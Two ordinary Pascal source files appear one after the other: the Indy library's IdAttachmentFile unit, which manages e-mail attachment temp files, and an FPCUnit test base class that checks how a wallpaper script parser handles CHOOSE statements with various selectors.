{ $Project$ $Workfile$ $Revision$ $DateUTC$ $Id$ This file is part of the Indy (Internet Direct) project, and is offered under the dual-licensing agreement described on the Indy website. (http://www.indyproject.org/) Copyright: (c) 1993-2005, Chad Z. Hower and the Indy Pit Crew. All rights reserved. } { $Log$ } { Rev 1.4 28.09.2004 21:04:44 Andreas Hausladen Delphi 5 does not have a Owner property in TCollection Rev 1.3 24.08.2004 18:01:42 Andreas Hausladen Added AttachmentBlocked property to TIdAttachmentFile. Rev 1.2 2004.02.03 5:44:50 PM czhower Name changes Rev 1.1 5/9/2003 10:27:20 AM BGooijen Attachment is now opened in fmShareDenyWrite mode Rev 1.0 11/14/2002 02:12:42 PM JPMugaas } unit IdAttachmentFile; interface {$i IdCompilerDefines.inc} uses Classes, IdAttachment, IdMessageParts; type TIdAttachmentFile = class(TIdAttachment) protected FTempFileStream: TFileStream; FStoredPathName: String; FFileIsTempFile: Boolean; FAttachmentBlocked: Boolean; public constructor Create(Collection: TIdMessageParts; const AFileName: String = ''); reintroduce; destructor Destroy; override; function OpenLoadStream: TStream; override; procedure CloseLoadStream; override; function PrepareTempStream: TStream; override; procedure FinishTempStream; override; procedure SaveToFile(const FileName: String); override; property FileIsTempFile: Boolean read FFileIsTempFile write FFileIsTempFile; property StoredPathName: String read FStoredPathName write FStoredPathName; property AttachmentBlocked: Boolean read FAttachmentBlocked; end; implementation uses {$IFDEF USE_VCL_POSIX} Posix.Unistd, {$ENDIF} {$IFDEF KYLIXCOMPAT} Libc, {$ENDIF} //facilitate inlining only. {$IFDEF USE_INLINE} {$IFDEF WINDOWS} Windows, {$ENDIF} {$IFDEF DOTNET} System.IO, {$ENDIF} {$ENDIF} IdGlobal, IdGlobalProtocols, IdException, IdResourceStringsProtocols, IdMessage, SysUtils; { TIdAttachmentFile } procedure TIdAttachmentFile.CloseLoadStream; begin FreeAndNil(FTempFileStream); end; constructor TIdAttachmentFile.Create(Collection: TIdMessageParts; const AFileName: String = ''); begin inherited Create(Collection); FFilename := ExtractFileName(AFilename); FTempFileStream := nil; FStoredPathName := AFileName; FFileIsTempFile := False; end; destructor TIdAttachmentFile.Destroy; begin if FileIsTempFile then begin SysUtils.DeleteFile(StoredPathName); end; inherited Destroy; end; procedure TIdAttachmentFile.FinishTempStream; var LMsg: TIdMessage; begin FreeAndNil(FTempFileStream); // An on access virus scanner meight delete/block the temporary file. FAttachmentBlocked := not FileExists(StoredPathName); if FAttachmentBlocked then begin LMsg := TIdMessage(OwnerMessage); if Assigned(LMsg) and (not LMsg.ExceptionOnBlockedAttachments) then begin Exit; end; raise EIdMessageCannotLoad.CreateFmt(RSTIdMessageErrorAttachmentBlocked, [StoredPathName]); end; end; function TIdAttachmentFile.OpenLoadStream: TStream; begin FTempFileStream := TIdReadFileExclusiveStream.Create(StoredPathName); Result := FTempFileStream; end; function TIdAttachmentFile.PrepareTempStream: TStream; var LMsg: TIdMessage; begin LMsg := TIdMessage(OwnerMessage); if Assigned(LMsg) then begin FStoredPathName := MakeTempFilename(LMsg.AttachmentTempDirectory); end else begin FStoredPathName := MakeTempFilename; end; FTempFileStream := TIdFileCreateStream.Create(FStoredPathName); FFileIsTempFile := True; Result := FTempFileStream; end; procedure TIdAttachmentFile.SaveToFile(const FileName: String); begin if not CopyFileTo(StoredPathname, FileName) then begin raise EIdException.Create(RSTIdMessageErrorSavingAttachment); end; end; initialization // MtW: Shouldn't be neccessary?? // RegisterClass(TIdAttachmentFile); end.
unit ChooserStatementBaseTestCase; {$mode objfpc}{$H+} interface uses Classes, SysUtils, StrUtils, FpcUnit, TestRegistry, ParserBaseTestCase, WpcStatements, WpcScriptParser; type { TAbstractChooserStatementParsingTest } TAbstractChooserStatementParsingTest = class abstract(TParserBaseTestCase) protected const SELECTORS : Array[TWpcSelector] of String = ( WEIGHT_KEYWORD, SEASON_KEYWORD, WEEKDAY_KEYWORD, MONTH_KEYWORD, DATE_KEYWORD, TIME_KEYWORD, DATETIME_KEYWORD ); SELECTORS_VALUES_STRING : Array[TWpcSelector] of Array[1..2] of String = ( ('1', '2'), ('SPRING', 'SUMMER'), ('WEDNESDAY', 'THURSDAY'), ('MARCH', 'MAY'), ('25.01', '10.02'), ('10:05', '22:10'), ('25.01-10:05', '10.02-22:10') ); SELECTORS_VALUES : Array[TWpcSelector] of Array[1..2] of LongWord = ( (1, 2), (2, 3), (4, 5), (3, 5), (25, 41), (36300, 79800), (2109900, 3535800) ); DEFAULT_WEIGHT_SELECTOR_VALUE = 1; protected ChooserItems : TListOfChooserItems; protected ChooserType : String; ChooserItem1 : String; ChooserItem2 : String; protected Selector : TWpcSelector; SelectorString : String; protected procedure AddRequiredObjectsIntoScript(); virtual; abstract; published procedure ShouldParseChooserByDefaultSelector(); procedure ShouldParseChooserByWeightSelector(); procedure ShouldParseChooserBySeasonSelector(); procedure ShouldParseChooserByWeekdaySelector(); procedure ShouldParseChooserByMonthSelector(); procedure ShouldParseChooserByDateSelector(); procedure ShouldParseChooserByTimeSelector(); procedure ShouldParseChooserByDateTimeSelector(); procedure ShouldParseChooserByDefaultSelectorWithDefaultSlectorValue(); procedure SholudRaiseScriptParseExceptionWhenChooserStatementUncompleted(); procedure SholudRaiseScriptParseExceptionWhenUnknownWordAddedAtTheEndOfChooserHeader(); procedure SholudRaiseScriptParseExceptionWhenUnknownWordAddedIntoChooserHeader(); procedure SholudRaiseScriptParseExceptionWhenUnknownWordAddedAtTheEndOfChooserCloser(); procedure SholudRaiseScriptParseExceptionWhenUnknownWordAddedIntoChooserCloser(); procedure SholudRaiseScriptParseExceptionWhenNoRequiredSelectorSpecified(); procedure SholudRaiseScriptParseExceptionWhenNoRequiredSelectorValueSpecified(); procedure SholudRaiseScriptParseExceptionWhenChooserContainsOnlyOneItem(); procedure SholudRaiseScriptParseExceptionWhenUnknownWordAddedBeforeSelector(); procedure SholudRaiseScriptParseExceptionWhenUnknownWordAddedAfterSelector(); procedure SholudRaiseScriptParseExceptionWhenDuplicateNonWeightSelectorValueFound(); procedure SholudRaiseScriptParseExceptionWhenWrongSelectorKeywordSpecified(); end; implementation { TAbstractChooserStatementParsingTest } // CHOOSE <STMT> FROM // Item1 WEIGHT 1 // Item2 WEIGHT 2 // END CHOOSE procedure TAbstractChooserStatementParsingTest.ShouldParseChooserByDefaultSelector(); begin ScriptLines.Add(CHOOSE_KEYWORD + ChooserType + FROM_KEYWORD); ScriptLines.Add(ChooserItem1 + ' ' + WEIGHT_KEYWORD + ' ' + SELECTORS_VALUES_STRING[S_WEIGHT, 1]); ScriptLines.Add(ChooserItem2 + ' ' + WEIGHT_KEYWORD + ' ' + SELECTORS_VALUES_STRING[S_WEIGHT, 2]); ScriptLines.Add(END_KEYWORD + ' ' + CHOOSE_KEYWORD); WrapInMainBranch(ScriptLines); AddRequiredObjectsIntoScript(); ParseScriptLines(); ReadMainBranchStatementsList(); AssertEquals(WRONG_NUMBER_OF_SATEMENTS, 1, MainBranchStatements.Count); ChooserItems := IWpcChooserItems(MainBranchStatements[0]).GetItems(); AssertEquals(WRONG_NUMBER_OF_SATEMENTS, 2, ChooserItems.Count); AssertEquals(WRONG_SELECTOR_VALUE, SELECTORS_VALUES[S_WEIGHT, 1], ChooserItems[0].Weight); AssertEquals(WRONG_SELECTOR_VALUE, SELECTORS_VALUES[S_WEIGHT, 2], ChooserItems[1].Weight); end; // CHOOSE <STMT> BY WEIGHT FROM // Item1 WEIGHT 1 // Item2 WEIGHT 2 // END CHOOSE procedure TAbstractChooserStatementParsingTest.ShouldParseChooserByWeightSelector(); begin ScriptLines.Add(CHOOSE_KEYWORD + ChooserType + BY_KEYWORD + ' ' + WEIGHT_KEYWORD + ' ' + FROM_KEYWORD); ScriptLines.Add(ChooserItem1 + ' ' + WEIGHT_KEYWORD + ' ' + SELECTORS_VALUES_STRING[S_WEIGHT, 1]); ScriptLines.Add(ChooserItem2 + ' ' + WEIGHT_KEYWORD + ' ' + SELECTORS_VALUES_STRING[S_WEIGHT, 2]); ScriptLines.Add(END_KEYWORD + ' ' + CHOOSE_KEYWORD); WrapInMainBranch(ScriptLines); AddRequiredObjectsIntoScript(); ParseScriptLines(); ReadMainBranchStatementsList(); AssertEquals(WRONG_NUMBER_OF_SATEMENTS, 1, MainBranchStatements.Count); ChooserItems := IWpcChooserItems(MainBranchStatements[0]).GetItems(); AssertEquals(WRONG_NUMBER_OF_SATEMENTS, 2, ChooserItems.Count); AssertEquals(WRONG_SELECTOR_VALUE, SELECTORS_VALUES[S_WEIGHT, 1], ChooserItems[0].Weight); AssertEquals(WRONG_SELECTOR_VALUE, SELECTORS_VALUES[S_WEIGHT, 2], ChooserItems[1].Weight); end; // CHOOSE <STMT> BY SEASON FROM // Item1 SEASON SPRING // Item2 SEASON SUMMER // END CHOOSE procedure TAbstractChooserStatementParsingTest.ShouldParseChooserBySeasonSelector(); begin ScriptLines.Add(CHOOSE_KEYWORD + ChooserType + BY_KEYWORD + ' ' + SEASON_KEYWORD + ' ' + FROM_KEYWORD); ScriptLines.Add(ChooserItem1 + ' ' + SEASON_KEYWORD + ' ' + SELECTORS_VALUES_STRING[S_SEASON, 1]); ScriptLines.Add(ChooserItem2 + ' ' + SEASON_KEYWORD + ' ' + SELECTORS_VALUES_STRING[S_SEASON, 2]); ScriptLines.Add(END_KEYWORD + ' ' + CHOOSE_KEYWORD); WrapInMainBranch(ScriptLines); AddRequiredObjectsIntoScript(); ParseScriptLines(); ReadMainBranchStatementsList(); AssertEquals(WRONG_NUMBER_OF_SATEMENTS, 1, MainBranchStatements.Count); ChooserItems := IWpcChooserItems(MainBranchStatements[0]).GetItems(); AssertEquals(WRONG_NUMBER_OF_SATEMENTS, 2, ChooserItems.Count); AssertEquals(WRONG_SELECTOR_VALUE, SELECTORS_VALUES[S_SEASON, 1], ChooserItems[0].Weight); AssertEquals(WRONG_SELECTOR_VALUE, SELECTORS_VALUES[S_SEASON, 2], ChooserItems[1].Weight); end; // CHOOSE <STMT> BY WEEKDAY FROM // Item1 WEEKDAY WEDNESDAY // Item2 WEEKDAY THURSDAY // END CHOOSE procedure TAbstractChooserStatementParsingTest.ShouldParseChooserByWeekdaySelector(); begin ScriptLines.Add(CHOOSE_KEYWORD + ChooserType + BY_KEYWORD + ' ' + WEEKDAY_KEYWORD + ' ' + FROM_KEYWORD); ScriptLines.Add(ChooserItem1 + ' ' + WEEKDAY_KEYWORD + ' ' + SELECTORS_VALUES_STRING[S_WEEKDAY, 1]); ScriptLines.Add(ChooserItem2 + ' ' + WEEKDAY_KEYWORD + ' ' + SELECTORS_VALUES_STRING[S_WEEKDAY, 2]); ScriptLines.Add(END_KEYWORD + ' ' + CHOOSE_KEYWORD); WrapInMainBranch(ScriptLines); AddRequiredObjectsIntoScript(); ParseScriptLines(); ReadMainBranchStatementsList(); AssertEquals(WRONG_NUMBER_OF_SATEMENTS, 1, MainBranchStatements.Count); ChooserItems := IWpcChooserItems(MainBranchStatements[0]).GetItems(); AssertEquals(WRONG_NUMBER_OF_SATEMENTS, 2, ChooserItems.Count); AssertEquals(WRONG_SELECTOR_VALUE, SELECTORS_VALUES[S_WEEKDAY, 1], ChooserItems[0].Weight); AssertEquals(WRONG_SELECTOR_VALUE, SELECTORS_VALUES[S_WEEKDAY, 2], ChooserItems[1].Weight); end; // CHOOSE <STMT> BY MONTH FROM // Item1 MONTH MARCH // Item2 MONTH MAY // END CHOOSE procedure TAbstractChooserStatementParsingTest.ShouldParseChooserByMonthSelector(); begin ScriptLines.Add(CHOOSE_KEYWORD + ChooserType + BY_KEYWORD + ' ' + MONTH_KEYWORD + ' ' + FROM_KEYWORD); ScriptLines.Add(ChooserItem1 + ' ' + MONTH_KEYWORD + ' ' + SELECTORS_VALUES_STRING[S_MONTH, 1]); ScriptLines.Add(ChooserItem2 + ' ' + MONTH_KEYWORD + ' ' + SELECTORS_VALUES_STRING[S_MONTH, 2]); ScriptLines.Add(END_KEYWORD + ' ' + CHOOSE_KEYWORD); WrapInMainBranch(ScriptLines); AddRequiredObjectsIntoScript(); ParseScriptLines(); ReadMainBranchStatementsList(); AssertEquals(WRONG_NUMBER_OF_SATEMENTS, 1, MainBranchStatements.Count); ChooserItems := IWpcChooserItems(MainBranchStatements[0]).GetItems(); AssertEquals(WRONG_NUMBER_OF_SATEMENTS, 2, ChooserItems.Count); AssertEquals(WRONG_SELECTOR_VALUE, SELECTORS_VALUES[S_MONTH, 1], ChooserItems[0].Weight); AssertEquals(WRONG_SELECTOR_VALUE, SELECTORS_VALUES[S_MONTH, 2], ChooserItems[1].Weight); end; // CHOOSE <STMT> BY DATE FROM // Item1 DATE 25.01 // Item2 DATE 10.10 // END CHOOSE procedure TAbstractChooserStatementParsingTest.ShouldParseChooserByDateSelector(); begin ScriptLines.Add(CHOOSE_KEYWORD + ChooserType + BY_KEYWORD + ' ' + DATE_KEYWORD + ' ' + FROM_KEYWORD); ScriptLines.Add(ChooserItem1 + ' ' + DATE_KEYWORD + ' ' + SELECTORS_VALUES_STRING[S_DATE, 1]); ScriptLines.Add(ChooserItem2 + ' ' + DATE_KEYWORD + ' ' + SELECTORS_VALUES_STRING[S_DATE, 2]); ScriptLines.Add(END_KEYWORD + ' ' + CHOOSE_KEYWORD); WrapInMainBranch(ScriptLines); AddRequiredObjectsIntoScript(); ParseScriptLines(); ReadMainBranchStatementsList(); AssertEquals(WRONG_NUMBER_OF_SATEMENTS, 1, MainBranchStatements.Count); ChooserItems := IWpcChooserItems(MainBranchStatements[0]).GetItems(); AssertEquals(WRONG_NUMBER_OF_SATEMENTS, 2, ChooserItems.Count); AssertEquals(WRONG_SELECTOR_VALUE, SELECTORS_VALUES[S_DATE, 1], ChooserItems[0].Weight); AssertEquals(WRONG_SELECTOR_VALUE, SELECTORS_VALUES[S_DATE, 2], ChooserItems[1].Weight); end; // CHOOSE <STMT> BY TIME FROM // Item1 TIME 10:05 // Item2 TIME 22:10 // END CHOOSE procedure TAbstractChooserStatementParsingTest.ShouldParseChooserByTimeSelector(); begin ScriptLines.Add(CHOOSE_KEYWORD + ChooserType + BY_KEYWORD + ' ' + TIME_KEYWORD + ' ' + FROM_KEYWORD); ScriptLines.Add(ChooserItem1 + ' ' + TIME_KEYWORD + ' ' + SELECTORS_VALUES_STRING[S_TIME, 1]); ScriptLines.Add(ChooserItem2 + ' ' + TIME_KEYWORD + ' ' + SELECTORS_VALUES_STRING[S_TIME, 2]); ScriptLines.Add(END_KEYWORD + ' ' + CHOOSE_KEYWORD); WrapInMainBranch(ScriptLines); AddRequiredObjectsIntoScript(); ParseScriptLines(); ReadMainBranchStatementsList(); AssertEquals(WRONG_NUMBER_OF_SATEMENTS, 1, MainBranchStatements.Count); ChooserItems := IWpcChooserItems(MainBranchStatements[0]).GetItems(); AssertEquals(WRONG_NUMBER_OF_SATEMENTS, 2, ChooserItems.Count); AssertEquals(WRONG_SELECTOR_VALUE, SELECTORS_VALUES[S_TIME, 1], ChooserItems[0].Weight); AssertEquals(WRONG_SELECTOR_VALUE, SELECTORS_VALUES[S_TIME, 2], ChooserItems[1].Weight); end; // CHOOSE <STMT> BY DATETIME FROM // Item1 DATETIME 25.01-10:05 // Item2 DATETIME 10.10-22:10 // END CHOOSE procedure TAbstractChooserStatementParsingTest.ShouldParseChooserByDateTimeSelector(); begin ScriptLines.Add(CHOOSE_KEYWORD + ChooserType + BY_KEYWORD + ' ' + DATETIME_KEYWORD + ' ' + FROM_KEYWORD); ScriptLines.Add(ChooserItem1 + ' ' + DATETIME_KEYWORD + ' ' + SELECTORS_VALUES_STRING[S_DATETIME, 1]); ScriptLines.Add(ChooserItem2 + ' ' + DATETIME_KEYWORD + ' ' + SELECTORS_VALUES_STRING[S_DATETIME, 2]); ScriptLines.Add(END_KEYWORD + ' ' + CHOOSE_KEYWORD); WrapInMainBranch(ScriptLines); AddRequiredObjectsIntoScript(); ParseScriptLines(); ReadMainBranchStatementsList(); AssertEquals(WRONG_NUMBER_OF_SATEMENTS, 1, MainBranchStatements.Count); ChooserItems := IWpcChooserItems(MainBranchStatements[0]).GetItems(); AssertEquals(WRONG_NUMBER_OF_SATEMENTS, 2, ChooserItems.Count); AssertEquals(WRONG_SELECTOR_VALUE, SELECTORS_VALUES[S_DATETIME, 1], ChooserItems[0].Weight); AssertEquals(WRONG_SELECTOR_VALUE, SELECTORS_VALUES[S_DATETIME, 2], ChooserItems[1].Weight); end; // CHOOSE <STMT> FROM // Item1 // Item2 // END CHOOSE procedure TAbstractChooserStatementParsingTest.ShouldParseChooserByDefaultSelectorWithDefaultSlectorValue(); begin ScriptLines.Add(CHOOSE_KEYWORD + ChooserType + BY_KEYWORD + ' ' + WEIGHT_KEYWORD + ' ' + FROM_KEYWORD); ScriptLines.Add(ChooserItem1); ScriptLines.Add(ChooserItem2 + ' ' + WEIGHT_KEYWORD + ' ' + SELECTORS_VALUES_STRING[S_WEIGHT, 2]); ScriptLines.Add(END_KEYWORD + ' ' + CHOOSE_KEYWORD); WrapInMainBranch(ScriptLines); AddRequiredObjectsIntoScript(); ParseScriptLines(); ReadMainBranchStatementsList(); AssertEquals(WRONG_NUMBER_OF_SATEMENTS, 1, MainBranchStatements.Count); ChooserItems := IWpcChooserItems(MainBranchStatements[0]).GetItems(); AssertEquals(WRONG_NUMBER_OF_SATEMENTS, 2, ChooserItems.Count); AssertEquals(WRONG_SELECTOR_VALUE, DEFAULT_WEIGHT_SELECTOR_VALUE, ChooserItems[0].Weight); AssertEquals(WRONG_SELECTOR_VALUE, SELECTORS_VALUES[S_WEIGHT, 2], ChooserItems[1].Weight); end; // CHOOSE <STMT> BY WEIGHT FROM // Item1 WEIGHT 1 // Item2 WEIGHT 2 procedure TAbstractChooserStatementParsingTest.SholudRaiseScriptParseExceptionWhenChooserStatementUncompleted(); begin ScriptLines.Add(CHOOSE_KEYWORD + ChooserType + BY_KEYWORD + ' ' + WEIGHT_KEYWORD + ' ' + FROM_KEYWORD); ScriptLines.Add(ChooserItem1); ScriptLines.Add(ChooserItem2 + ' ' + WEIGHT_KEYWORD + ' ' + SELECTORS_VALUES_STRING[S_WEIGHT, 2]); WrapInMainBranch(ScriptLines); AddRequiredObjectsIntoScript(); AssertScriptParseExceptionOnParse(4, 1); end; // CHOOSE <STMT> BY WEIGHT FROM LIST // Item1 WEIGHT 1 // Item2 WEIGHT 2 // END CHOOSE procedure TAbstractChooserStatementParsingTest.SholudRaiseScriptParseExceptionWhenUnknownWordAddedAtTheEndOfChooserHeader(); var WordsInHeader : Integer; begin ScriptLines.Add(CHOOSE_KEYWORD + ChooserType + BY_KEYWORD + ' ' + WEIGHT_KEYWORD + ' ' + FROM_KEYWORD + ' LIST'); ScriptLines.Add(ChooserItem1); ScriptLines.Add(ChooserItem2 + ' ' + WEIGHT_KEYWORD + ' ' + SELECTORS_VALUES_STRING[S_WEIGHT, 2]); ScriptLines.Add(END_KEYWORD + ' ' + CHOOSE_KEYWORD); WrapInMainBranch(ScriptLines); AddRequiredObjectsIntoScript(); WordsInHeader := WordCount(ScriptLines[1], WHITESPACE_SET); AssertScriptParseExceptionOnParse(1, WordsInHeader - 1); end; // CHOOSE <STMT> BY WEIGHT ONLY FROM // Item1 WEIGHT 1 // Item2 WEIGHT 2 // END CHOOSE procedure TAbstractChooserStatementParsingTest.SholudRaiseScriptParseExceptionWhenUnknownWordAddedIntoChooserHeader(); var WordsInHeader : Integer; begin ScriptLines.Add(CHOOSE_KEYWORD + ChooserType + BY_KEYWORD + ' ' + WEIGHT_KEYWORD + ' ONLY ' + FROM_KEYWORD); ScriptLines.Add(ChooserItem1); ScriptLines.Add(ChooserItem2 + ' ' + WEIGHT_KEYWORD + ' ' + SELECTORS_VALUES_STRING[S_WEIGHT, 2]); ScriptLines.Add(END_KEYWORD + ' ' + CHOOSE_KEYWORD); WrapInMainBranch(ScriptLines); AddRequiredObjectsIntoScript(); WordsInHeader := WordCount(ScriptLines[1], WHITESPACE_SET); AssertScriptParseExceptionOnParse(1, WordsInHeader - 1 - 1); end; // CHOOSE <STMT> BY WEIGHT FROM // Item1 WEIGHT 1 // Item2 WEIGHT 2 // END CHOOSE BY WEIGHT procedure TAbstractChooserStatementParsingTest.SholudRaiseScriptParseExceptionWhenUnknownWordAddedAtTheEndOfChooserCloser(); begin ScriptLines.Add(CHOOSE_KEYWORD + ChooserType + BY_KEYWORD + ' ' + WEIGHT_KEYWORD + ' ' + FROM_KEYWORD); ScriptLines.Add(ChooserItem1); ScriptLines.Add(ChooserItem2 + ' ' + WEIGHT_KEYWORD + ' ' + SELECTORS_VALUES_STRING[S_WEIGHT, 2]); ScriptLines.Add(END_KEYWORD + ' ' + CHOOSE_KEYWORD + ' ' + BY_KEYWORD + ' ' + WEIGHT_KEYWORD); WrapInMainBranch(ScriptLines); AddRequiredObjectsIntoScript(); AssertScriptParseExceptionOnParse(4, 2); end; // CHOOSE <STMT> BY WEIGHT FROM // Item1 WEIGHT 1 // Item2 WEIGHT 2 // END THIS CHOOSE procedure TAbstractChooserStatementParsingTest.SholudRaiseScriptParseExceptionWhenUnknownWordAddedIntoChooserCloser(); begin ScriptLines.Add(CHOOSE_KEYWORD + ChooserType + BY_KEYWORD + ' ' + WEIGHT_KEYWORD + ' ' + FROM_KEYWORD); ScriptLines.Add(ChooserItem1); ScriptLines.Add(ChooserItem2 + ' ' + WEIGHT_KEYWORD + ' ' + SELECTORS_VALUES_STRING[S_WEIGHT, 2]); ScriptLines.Add(END_KEYWORD + ' THIS ' + CHOOSE_KEYWORD); WrapInMainBranch(ScriptLines); AddRequiredObjectsIntoScript(); AssertScriptParseExceptionOnParse(4, 1); end; // CHOOSE <STMT> BY <SLCTR> FROM // Item1 <SLCTR> <SL_VAL1> // Item2 // END CHOOSE procedure TAbstractChooserStatementParsingTest.SholudRaiseScriptParseExceptionWhenNoRequiredSelectorSpecified(); var WordsInSecondOption : Integer; begin for Selector in TWpcSelector do begin if (Selector = S_WEIGHT) then continue; SelectorString := SELECTORS[Selector]; ScriptLines.Add(CHOOSE_KEYWORD + ChooserType + BY_KEYWORD + ' ' + SelectorString + ' ' + FROM_KEYWORD); ScriptLines.Add(ChooserItem1 + ' ' + SelectorString + ' ' + SELECTORS_VALUES_STRING[Selector, 1]); ScriptLines.Add(ChooserItem2); ScriptLines.Add(END_KEYWORD + ' ' + CHOOSE_KEYWORD); WrapInMainBranch(ScriptLines); AddRequiredObjectsIntoScript(); WordsInSecondOption := WordCount(ScriptLines[3], WHITESPACE_SET); AssertScriptParseExceptionOnParse(3, WordsInSecondOption - 1); ScriptLines.Clear(); end; end; // CHOOSE <STMT> BY <SLCTR> FROM // Item1 <SLCTR> <SL_VAL1> // Item2 <SLCTR> // END CHOOSE procedure TAbstractChooserStatementParsingTest.SholudRaiseScriptParseExceptionWhenNoRequiredSelectorValueSpecified(); var WordsInSecondOption : Integer; begin for Selector in TWpcSelector do begin SelectorString := SELECTORS[Selector]; ScriptLines.Add(CHOOSE_KEYWORD + ChooserType + BY_KEYWORD + ' ' + SelectorString + ' ' + FROM_KEYWORD); ScriptLines.Add(ChooserItem1 + ' ' + SelectorString + ' ' + SELECTORS_VALUES_STRING[Selector, 1]); ScriptLines.Add(ChooserItem2 + ' ' + SelectorString); ScriptLines.Add(END_KEYWORD + ' ' + CHOOSE_KEYWORD); WrapInMainBranch(ScriptLines); AddRequiredObjectsIntoScript(); WordsInSecondOption := WordCount(ScriptLines[3], WHITESPACE_SET); AssertScriptParseExceptionOnParse(3, WordsInSecondOption - 1); ScriptLines.Clear(); end; end; // CHOOSE <STMT> BY <SLCTR> FROM // Item1 <SLCTR> <SL_VAL1> // END CHOOSE procedure TAbstractChooserStatementParsingTest.SholudRaiseScriptParseExceptionWhenChooserContainsOnlyOneItem(); begin for Selector in TWpcSelector do begin SelectorString := SELECTORS[Selector]; ScriptLines.Add(CHOOSE_KEYWORD + ChooserType + BY_KEYWORD + ' ' + SelectorString + ' ' + FROM_KEYWORD); ScriptLines.Add(ChooserItem1 + ' ' + SelectorString + ' ' + SELECTORS_VALUES_STRING[Selector, 1]); ScriptLines.Add(END_KEYWORD + ' ' + CHOOSE_KEYWORD); WrapInMainBranch(ScriptLines); AddRequiredObjectsIntoScript(); AssertScriptParseExceptionOnParse(); ScriptLines.Clear(); end; end; // CHOOSE <STMT> BY <SLCTR> FROM // Item1 <SLCTR> <SL_VAL1> // Item2 BY <SLCTR> <Sl_VAL2> // END CHOOSE procedure TAbstractChooserStatementParsingTest.SholudRaiseScriptParseExceptionWhenUnknownWordAddedBeforeSelector(); var WordsInSecondOption : Integer; begin for Selector in TWpcSelector do begin SelectorString := SELECTORS[Selector]; ScriptLines.Add(CHOOSE_KEYWORD + ChooserType + BY_KEYWORD + ' ' + SelectorString + ' ' + FROM_KEYWORD); ScriptLines.Add(ChooserItem1 + ' ' + SelectorString + ' ' + SELECTORS_VALUES_STRING[Selector, 1]); ScriptLines.Add(ChooserItem2 + ' BY ' + SelectorString + ' ' + SELECTORS_VALUES_STRING[Selector, 2]); ScriptLines.Add(END_KEYWORD + ' ' + CHOOSE_KEYWORD); WrapInMainBranch(ScriptLines); AddRequiredObjectsIntoScript(); WordsInSecondOption := WordCount(ScriptLines[3], WHITESPACE_SET); AssertScriptParseExceptionOnParse(3, WordsInSecondOption - 1 - 2); ScriptLines.Clear(); end; end; // CHOOSE <STMT> BY <SLCTR> FROM // Item1 <SLCTR> <SL_VAL1> // Item2 <SLCTR> HERE <Sl_VAL2> // END CHOOSE procedure TAbstractChooserStatementParsingTest.SholudRaiseScriptParseExceptionWhenUnknownWordAddedAfterSelector(); var WordsInSecondOption : Integer; begin for Selector in TWpcSelector do begin SelectorString := SELECTORS[Selector]; ScriptLines.Add(CHOOSE_KEYWORD + ChooserType + BY_KEYWORD + ' ' + SelectorString + ' ' + FROM_KEYWORD); ScriptLines.Add(ChooserItem1 + ' ' + SelectorString + ' ' + SELECTORS_VALUES_STRING[Selector, 1]); ScriptLines.Add(ChooserItem2 + ' ' + SelectorString + ' HERE ' + SELECTORS_VALUES_STRING[Selector, 2]); ScriptLines.Add(END_KEYWORD + ' ' + CHOOSE_KEYWORD); WrapInMainBranch(ScriptLines); AddRequiredObjectsIntoScript(); WordsInSecondOption := WordCount(ScriptLines[3], WHITESPACE_SET); AssertScriptParseExceptionOnParse(3, WordsInSecondOption - 1 - 2); ScriptLines.Clear(); end; end; // CHOOSE <STMT> BY <SLCTR> FROM // Item1 <SLCTR> <SL_VAL1> // Item2 <SLCTR> <Sl_VAL2> // Item1 <SLCTR> <Sl_VAL1> // END CHOOSE procedure TAbstractChooserStatementParsingTest.SholudRaiseScriptParseExceptionWhenDuplicateNonWeightSelectorValueFound(); begin for Selector in TWpcSelector do begin if (Selector = S_WEIGHT) then continue; SelectorString := SELECTORS[Selector]; ScriptLines.Add(CHOOSE_KEYWORD + ChooserType + BY_KEYWORD + ' ' + SelectorString + ' ' + FROM_KEYWORD); ScriptLines.Add(ChooserItem1 + ' ' + SelectorString + ' ' + SELECTORS_VALUES_STRING[Selector, 1]); ScriptLines.Add(ChooserItem2 + ' ' + SelectorString + ' ' + SELECTORS_VALUES_STRING[Selector, 2]); ScriptLines.Add(ChooserItem1 + ' ' + SelectorString + ' ' + SELECTORS_VALUES_STRING[Selector, 1]); ScriptLines.Add(END_KEYWORD + ' ' + CHOOSE_KEYWORD); WrapInMainBranch(ScriptLines); AddRequiredObjectsIntoScript(); AssertScriptParseExceptionOnParse(4); ScriptLines.Clear(); end; end; // CHOOSE <STMT> BY <SLCTR> FROM // Item1 <SLCTR> <SL_VAL1> // Item2 <WRONG-SLCTR> <Sl_VAL2> // END CHOOSE procedure TAbstractChooserStatementParsingTest.SholudRaiseScriptParseExceptionWhenWrongSelectorKeywordSpecified(); const WRONG_SELECTORS : Array[TWpcSelector] of String = ( SEASON_KEYWORD, WEEKDAY_KEYWORD, MONTH_KEYWORD, DATE_KEYWORD, TIME_KEYWORD, DATETIME_KEYWORD, WEIGHT_KEYWORD ); var WordsInSecondOption : Integer; begin for Selector in TWpcSelector do begin SelectorString := SELECTORS[Selector]; ScriptLines.Add(CHOOSE_KEYWORD + ChooserType + BY_KEYWORD + ' ' + SelectorString + ' ' + FROM_KEYWORD); ScriptLines.Add(ChooserItem1 + ' ' + SelectorString + ' ' + SELECTORS_VALUES_STRING[Selector, 1]); ScriptLines.Add(ChooserItem2 + ' ' + WRONG_SELECTORS[Selector] + ' ' + SELECTORS_VALUES_STRING[Selector, 2]); ScriptLines.Add(END_KEYWORD + ' ' + CHOOSE_KEYWORD); WrapInMainBranch(ScriptLines); AddRequiredObjectsIntoScript(); WordsInSecondOption := WordCount(ScriptLines[3], WHITESPACE_SET); if (Selector = S_WEIGHT) then AssertScriptParseExceptionOnParse(3, WordsInSecondOption - 1 - 1) else AssertScriptParseExceptionOnParse(3, WordsInSecondOption - 1); ScriptLines.Clear(); end; end; end.
